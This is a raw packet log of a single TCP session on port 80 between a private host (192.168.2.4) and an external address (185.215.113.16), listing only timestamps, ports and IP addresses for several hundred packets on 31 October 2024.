Oct 31, 2024 04:16:16.310542107 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.310564995 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.310578108 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.310584068 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.310584068 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.310637951 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.310672045 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.310722113 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.310738087 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.310753107 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.310767889 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.310784101 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.310798883 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.310816050 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.310827971 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.310832024 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.310832024 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.310832024 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.310877085 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.310877085 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.310962915 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.310978889 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.310993910 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.311009884 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.311026096 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.311033010 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.311042070 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.311053038 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.311069965 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.311105967 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.311108112 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.311132908 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.311147928 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.311161041 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.311162949 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.311181068 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.311188936 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.311188936 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.311208963 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.311224937 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.460324049 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.460381031 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.460381031 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.460472107 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.473633051 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.473659992 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.473676920 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.473716974 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.473738909 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.473743916 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.473762035 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.473778963 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.473795891 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.473819971 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.473826885 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.473826885 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.473834991 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.473856926 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.473871946 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.473891973 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.474359989 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.474412918 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.474421024 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.474437952 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.474462032 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.474471092 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.474478006 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.474493980 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.474500895 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.474500895 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.474536896 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.474536896 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.474750042 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.474795103 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.474807978 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.474822044 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.474845886 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.474858046 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.474863052 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.474879026 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.474881887 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.474896908 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.474911928 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.474920988 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.474920988 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.474929094 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.474960089 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.474988937 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.474996090 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.475003958 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.475019932 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.475050926 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.475073099 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.475078106 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.475095034 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.475147009 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.475147009 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.475394011 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.475419044 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.475434065 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.475445986 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.475481033 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.475481033 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.475892067 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.475944042 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.475994110 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.476000071 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.476006031 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.476011038 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.476027012 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.476046085 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.476090908 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.476125002 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.476150036 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.476165056 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.476176023 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.476197004 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.476228952 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.476243973 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.476259947 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.476274014 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.476294994 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.476329088 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.476351976 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.476398945 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.476422071 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.476453066 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.476469994 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.476491928 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.476494074 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.476543903 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.476582050 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.476597071 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.476612091 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.476632118 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.476666927 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.476667881 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.476680994 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.476696014 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.476711035 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.476732016 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.476757050 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.476758003 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.476867914 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.476921082 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.476965904 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.476989985 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.477005959 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.477010965 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.477021933 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.477030993 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.477045059 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.477058887 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.477060080 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.477063894 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.477078915 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.477097034 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.477111101 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.477112055 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.477112055 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.477132082 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.477148056 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.477155924 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.477155924 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.477184057 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.477197886 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.477220058 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.477221012 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.477247953 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.477263927 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.477267027 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.477279902 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.477313995 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.477359056 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.477492094 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.477541924 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.477565050 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.477580070 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.477595091 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.477613926 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.477616072 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.477647066 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.477647066 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.477674007 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.477952957 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.477966070 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.477981091 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.478009939 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.478027105 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.478040934 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.478045940 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.478065968 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.478066921 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.478081942 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.478085995 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.478113890 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.478132963 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.478230953 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.478265047 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.478279114 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.478317022 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.478348970 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.478636980 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.478703976 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.478754997 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.478849888 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.478867054 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.478883028 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.478899956 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.478900909 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.478935003 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.478935003 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.479154110 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.479213953 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.479229927 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.479244947 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.479264021 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.479298115 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.479343891 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.479357004 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.479396105 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.479428053 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.479607105 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.479623079 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.479638100 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.479688883 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.479688883 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.479737043 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.479753017 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.479783058 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.479798079 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.479803085 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.479820013 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.479823112 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.479846954 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.479847908 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.479866028 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.479866982 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.479881048 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.479897022 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.479908943 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.479927063 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.479954958 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.479980946 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.479995012 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.480031013 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.480032921 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.480046988 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.480062962 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.480093956 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.480114937 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.480128050 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.480231047 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.480245113 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.480285883 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.480293036 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.480303049 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.480312109 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.480333090 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.480334997 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.480356932 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.480561018 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.480577946 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.480593920 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.480608940 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.480613947 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.480626106 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.480645895 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.480655909 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.480655909 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.480664968 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.480679035 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.480698109 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.480709076 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.480716944 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.480725050 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.480746031 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.480765104 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.481039047 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.481054068 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.481069088 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.481096029 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.481096029 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.481129885 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.635263920 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.635343075 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.635371923 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.635443926 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.651922941 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.651952028 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.651985884 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.651989937 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.652010918 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.652026892 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.652056932 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.652072906 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.652118921 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.652174950 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.652190924 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.652221918 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.652223110 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.652271986 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.652312994 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.653240919 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.653266907 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.653294086 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.653300047 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.653306007 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.653326988 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.653342009 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.653386116 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.653414965 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.653430939 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.653465986 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.653633118 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.653657913 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.653671980 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.653683901 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.653696060 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.653711081 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.653712034 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.653736115 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.653764963 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.653804064 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.653820038 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.653836966 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.653862953 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.653892040 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.653990984 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.654005051 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.654040098 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.654084921 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.654128075 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.654165030 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.654180050 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.654194117 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.654206991 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.654227018 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.654243946 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.654280901 CET	80	49849	185.215.113.16	192.168.2.4
